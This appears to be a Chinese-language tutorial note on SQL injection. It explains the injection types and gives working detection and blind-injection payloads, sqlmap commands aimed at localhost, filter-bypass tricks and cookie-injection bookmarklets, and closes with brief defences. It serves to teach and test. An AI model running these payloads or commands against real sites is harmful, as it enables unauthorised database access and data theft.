关键条件
- 用户可以控制输入
- 原本程序要执行的代码,拼接了用户输入的数据
SQL注入分类
-
数值型:
- 拼接的id为数字类型,如id = 1
- 可以通过单引号等符号来判断
-
字符型:
- 拼接的id为字符类型,如id = '1'
- 输入单引号无反应,需要闭合传参或使用""进行转译
-
GET型:
-
常见于内容页面(如新闻,动态)
-
常见链接:
http://127.0.0.1/index.php?id=1 -
检测方法:
- 单引号报错
- and 1=1 正常
- and 1=2 报错
-
SQLMap语句:
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch(自动注入) --level 5(注入等级) --dbs
-
- POST型:
- 常见于登录页面
-
检测方法:
' or 1='1 -- -
SQLMap语句:
数据包形式为:
参数1=value1&参数2=value2.....sqlmap命令
sqlmap -u "http://127.0.0.1/index.php?id=1" --data "key=value"数据包形式为:
''' --c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a Content-Disposition: form-data; name="page" Content-Length: 1 1 --c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a Content-Disposition: form-data; name="search" Content-Length: 1 qqqqq '''sqlmap命令
sqlmap -r <terget.txt>(terget.txt内容为请求发送时的数据包)
-
盲注:
就是在服务器没有错误回显时完成的注入攻击,虽然关闭了错误回显,但可以通过构造不同的条件来观察页面返回的细微变化
- 不返回报错信息
-
基于时间盲注:
' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 1. 使用sleep()函数,根据返回时间长短判断 2. 当输入错误,会延时5秒返回,当输入正确,立即返回 -
布尔类型盲注:
- 无报错信息
- 根据返回true或false判断
- 条件正确,立即回显.条件错误,返回错误
报错注入:
输入错误条件(如单引号,斜杠,括号 and 1=2 等)时,会返回不正常页面,输入正确条件(如and 1=1)页面返回正常
HTTP头注入:
过滤掉用户直接提交的参数,但没对HTTP头中提交的内容进行过滤,常见于User-Agent,Referer,Cookie等字段
SQLMap自动搜索POST表单注入:
sqlmap -u "http://127.0.0.1/index.php?id=1" --forms
-
指定参数探测SQL注入:
sqlmap -u "http://127.0.0.1/index.php?id=1" --data "key=value" -
指定注入位置进行注入:
将数据包的请求头放到文件中,将对应参数的value改为" * "
- Cookie注入:
参数带入Cookie进行传输,且没有对传参进行限制
SQLMap语句:
sqlmap -r target.txt --level 3
- HTTP头部详解
- User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
- Cookie:网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
- X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
- Clien-IP:同上
- Rerferer:浏览器向 WEB服务器表明自己是从哪个页面链接过来的
- Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
SQL注入绕过:
-
大小写绕过:设置了关键字过滤,但过滤过程并没有对关键字深入分析,只对关键字整体进行过滤(如and)
-
双写绕过:系统检测出现关键字之后设置为空,使用双写语句尝试绕过
-
编码绕过:使用URL在线编码,绕过
-
内联注释绕过:在SQL语句中,内联注释中内容可以被当做SQL语句执行(/*! select*/)
cookie注入
在进行get注入时发现过滤关键字,页面弹框提示过滤内容, 可尝试Cookie注入
-
刷新需要测试的网页, 清空地址栏, 并输入:
javascript:alert(document.cookie="id="+escape("27"));
回车弹框提示注入内容("id=27") -
新建窗口将URL中("id= ")去掉, 查看页面是否访问正常
-
若访问之后的页面与访问 id=27的原页面 是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在说明cookie处是有可能存在注入的
-
判断是否为注入点
javascript:alert(document.cookie="id="+escape("27 and 1=1"));
javascript:alert(document.cookie="id="+escape("27 and 1=2"));
sqlmap命令
sqlmap -u "http://127.0.0.1/shownews.asp" --level 2 --cookie="id=171"
SQL注入防御
- 使用预编译语句,绑定变量
- 使用安全的存储过程,预先将SQL语句定义在数据库中
- 检查输入数据的数据类型,严格控制输入
- 使用安全函数
浙公网安备 33010602011771号